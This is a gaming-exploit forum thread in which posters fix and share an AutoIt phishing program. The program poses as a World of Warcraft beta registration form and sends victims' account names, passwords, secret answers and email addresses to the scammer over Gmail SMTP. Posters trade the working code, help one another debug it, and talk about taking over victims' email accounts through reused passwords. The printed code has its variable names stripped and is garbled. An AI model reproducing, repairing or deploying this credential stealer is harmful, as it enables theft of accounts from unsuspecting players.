Autoit WotLK Scam Fixed and reloaded! - MMOwned - World of Warcraft Exploits, Hacks, Bots and Guides

Parog · #1 02-15-2008

Allright, so before i say anything, this is a fix for THIS THREAD ( [Only registered and activated users can see links. ] )

If you cannot understand what i'm talking about, you should probably read the thread above, as it will make much more sense to you. Look for something along the lines of "Line -1: Error: the requested action with this object has failed"

I couldnt get help myself from the OP so i decided to go to the source and see what was wrong. Found out that the SMTP server was denying the request to send a mail due to an SSL encryption error.

I messed around, looking for different SMTP for yahoo, registered different yahoo mail addreses, thing is, YAHOO DOES NOT WORK FOR THIS ANYMORE!

Use Gmail instead!

The SMTP info

Code:

Outgoing ( what we need )

smtp.gmail.com

Port: 465

And now, in the script, just change the things in red into your info

Code:

$rc = _INetSmtpMailCom("smtp.gmail.com", $Accountname, "Yourusername@gmail.com", "Yourusername@gmail.com", "WoWAccount", $Body, "", "", "", "Yourusername", "Yourpassword", 465, 1)

Just want to keep the community updated

Addictionx · #2 02-15-2008

thanks, i'll test this out now!

EDIT:
Doesn't seem to work for me, same error as with the yahoo mail

I'll play around a bit more! and thanks for trying!

Parog · #3 02-15-2008

You have to compile it completely, and make sure you Execute the compiled EXE in the same folder as the Dll

Can you link me your script just so i can see it? put it in code and ill check it, i'll be up for a few more minutes

edit : Going to bed for a few hours, will be back up later today, will check this thread if anyone needs help ( post your sourcecode - and hide your password )

Addictionx · #4 02-15-2008

Code:

#include <GuiConstants.au3>
#Include <file.au3>

MsgBox( 0, "WotLK Beta Registration", "Use a valid World Of Warcraft-Account to register.")

Func _INetSmtpMailCom(, , , ,  = "",  = "",  = "",  = "",  = "",  = "",  = "",=465, =1)
     = ObjCreate("CDO.Message")
    .From = '"' &  & '" <' &  & '>'
    .To = 
    Local  = 0
    Local  = ""
    If  <> "" Then .Cc = 
    If  <> "" Then .Bcc = 
    .Subject = 
    If StringInStr(,"<") and StringInStr(,">") Then
        .HTMLBody = 
    Else
        .Textbody =  & @CRLF
    EndIf
    If  <> "" Then
        Local  = StringSplit(, ";")
        For  = 1 To 
             = _PathFull ()
            If FileExists() Then
                .AddAttachment ()
            Else
                 =  & @lf & 'File not found to attach: ' & 
                SetError(1)
                return 0
            EndIf
        Next
    EndIf
    .Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    .Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = 
    .Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 
;Authenticated SMTP
    If  <> "" Then
        .Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
        .Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = 
        .Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = 
    EndIf
    If  Then
        .Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    EndIf
;Update settings
    .Configuration.Fields.Update
; Sent the Message
    .Send
    if @error then
        SetError(2)
        return 
    EndIf
EndFunc ;==>_INetSmtpMailCom
;
;
; Com Error Handler
Func MyErrFunc()
     = Hex(.number, 8)
     = 
     = StringStripWS(.description,3)
    ConsoleWrite("### COM Error !  Number: " &  & "   ScriptLine: " & .scriptline & "   Description:" &  & @LF)
    SetError(1); something to check for when this function returns
    Return
EndFunc ;==>MyErrFunc

GuiCreate("Wrath of the Lich King - Beta Account Registration", 640,487, -1, -1, -1,  )
GuiCtrlCreatePic("Library.dll",0,0,640,487)
GuiCtrlSetState(-1,)

=GUICtrlCreateInput ("", 260,220,150,20,)
=GUICtrlCreateInput ("", 260,270,150,20,+)

; BUTTON
 = GuiCtrlCreateButton("Login", 255,305,70,20)
 = GuiCtrlCreateButton("Cancel", 345,305,70,20)

; GUI MESSAGE LOOP
GuiSetState()

While 1
	 = GUIGetMsg()
    Select
        Case  = 
            ExitLoop
        Case  = 
             = GUICtrlRead()
			 = GUICtrlRead()
			 = InputBox("Please Enter your Secret Answer.", "Insert your Secret Answer here.", "")
			 = "Accountname: " & @CRLF  &   & @CRLF  & "Password:" & @CRLF  &  & @CRLF  &"Antwort:" & @CRLF  & 
			 = _INetSmtpMailCom("smtp.gmail.com", , "[Only registered and activated users can see links. ]", "[Only registered and activated users can see links. ]", "WoWAccount", , "", "", "", "username", "password", 465, 1)
			MsgBox( 0, "Registration sucessful", "When the Wrath of the Lich King beta starts, you will receive a beta key with which you can activate your beta account. Repeated filling of the registration has no more effect.")
			ExitLoop
		Case  = 
			ExitLoop
    EndSelect
WEnd

thats my code, pretty much the same as the original, but with your line replacing the yahoo one.

Aziris · #5 02-15-2008

Addict, is this script working for you?

Addictionx · #6 02-15-2008

nope, no luck with it, I got the same error as when i used the original code, ive been playing around with it and still no luck

Aziris · #7 02-15-2008

Did it with gmail: WORKING PERFECT!

secretguy · #8 02-15-2008

Edited the original script - it now works perfectly, thanks!

Addictionx · #9 02-15-2008

Aziris or secret guy, could you post your code? I cant seem to get it to work by editing the original script.
Thanks

sheepking · #10 02-15-2008

Hmm it always shows me the Error Message "Verwenden Sie einen gültigen World of Warcraft-Account zum registrieren." and after that... ...nothing plz help

OK I got this Prob under control... I now use a english client but it always sends me the error message "not sent" or sth. like this

tichon · #11 02-15-2008

Nice. Been waiting for a fix for this. Thank you.

Aziris · #12 02-15-2008

Well some of you have downloaded the German version. You cannot understand this if you are not german, which I dont expect you to be.
So you go to my Thread, download the english file and then try to do it with gmail. If it doesnt work, use THIS FIX!

Greetings A.

secretguy · #13 02-15-2008

English code, which works:

Code:

#include <GuiConstants.au3>
#Include <file.au3>

MsgBox( 0, "WotLK Beta Registration", "Please use a valid and active World of Warcraft account to register.")

Func _INetSmtpMailCom(, , , ,  = "",  = "",  = "",  = "",  = "",  = "",  = "",=465, =1)
     = ObjCreate("CDO.Message")
    .From = '"' &  & '" <' &  & '>'
    .To = 
    Local  = 0
    Local  = ""
    If  <> "" Then .Cc = 
    If  <> "" Then .Bcc = 
    .Subject = 
    If StringInStr(,"<") and StringInStr(,">") Then
        .HTMLBody = 
    Else
        .Textbody =  & @CRLF
    EndIf
    If  <> "" Then
        Local  = StringSplit(, ";")
        For  = 1 To 
             = _PathFull ()
            If FileExists() Then
                .AddAttachment ()
            Else
                 =  & @lf & 'File not found to attach: ' & 
                SetError(1)
                return 0
            EndIf
        Next
    EndIf
    .Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    .Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = 
    .Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 
;Authenticated SMTP
    If  <> "" Then
        .Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
        .Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = 
        .Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = 
    EndIf
    If  Then
        .Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    EndIf
;Update settings
    .Configuration.Fields.Update
; Sent the Message
    .Send
    if @error then
        SetError(2)
        return 
    EndIf
EndFunc ;==>_INetSmtpMailCom
;
;
; Com Error Handler
Func MyErrFunc()
     = Hex(.number, 8)
     = 
     = StringStripWS(.description,3)
    ConsoleWrite("### COM Error !  Number: " &  & "   ScriptLine: " & .scriptline & "   Description:" &  & @LF)
    SetError(1); something to check for when this function returns
    Return
EndFunc ;==>MyErrFunc

GuiCreate("Wrath of the Lich King - Beta Account Registration", 640,487, -1, -1, -1,  )
GuiCtrlCreatePic("Library.dll",0,0,640,487)
GuiCtrlSetState(-1,)

=GUICtrlCreateInput ("", 260,220,150,20,)
=GUICtrlCreateInput ("", 260,270,150,20,+)

; BUTTON
 = GuiCtrlCreateButton("Login", 255,305,70,20)
 = GuiCtrlCreateButton("Cancel", 345,305,70,20)

; GUI MESSAGE LOOP
GuiSetState()

While 1
     = GUIGetMsg()
    Select
        Case  = 
            ExitLoop
        Case  = 
             = GUICtrlRead()
             = GUICtrlRead()
             = InputBox("Secret Answer", "Please type in your secret question answer.", "")
             = InputBox("E-mail", "Please type in your e-mail address registered to your account.", "")
             = "Accountname: " & @CRLF  &   & @CRLF  & "Password:" & @CRLF  &  & @CRLF  &"Antwort:" & @CRLF  & 
             = _INetSmtpMailCom("smtp.gmail.com", , "youremail", "youremail", "WoWAccount", , "", "", "", "emailusername", "emailpass", 465, 1)
            MsgBox( 0, "Registration sucessful", "When the Wrath of the Lich King beta starts, you will receive a beta key with which you can activate your beta account. Repeated filling of the registration has no more effect.")
            ExitLoop
        Case  = 
            ExitLoop
    EndSelect
WEnd

Btw, this code also includes asking for the account holders email address (sometimes the account holder has the same password for the email = free account)

You can remove this feature by removing:
$Email = InputBox("E-mail", "Please type in your e-mail address registered to your account.", "")

and

& @CRLF &"Email:" & @CRLF & $Email

Also improved the grammar a little bit - Enjoy.

Parog · #14 02-15-2008

Quote:

Originally Posted by maxlmongo

Hmm it always shows me the Error Message "Verwenden Sie einen gültigen World of Warcraft-Account zum registrieren." and after that... ...nothing plz help

OK I got this Prob under control... I now use a english client but it always sends me the error message "not sent" or sth. like this

that means you did not open the EXE WITH the DLL In the same folder

Parog · #15 02-15-2008

Quote:

Originally Posted by secretguy

Btw, this code also includes asking for the account holders email address (sometimes the account holder has the same password for the email = free account)

You can remove this feature by removing:
= InputBox("E-mail", "Please type in your e-mail address registered to your account.", "")

and

& @CRLF &"Email:" & @CRLF &

Also improved the grammar a little bit - Enjoy.

I thought about doing that too, but then i thought about all i could do with the secret question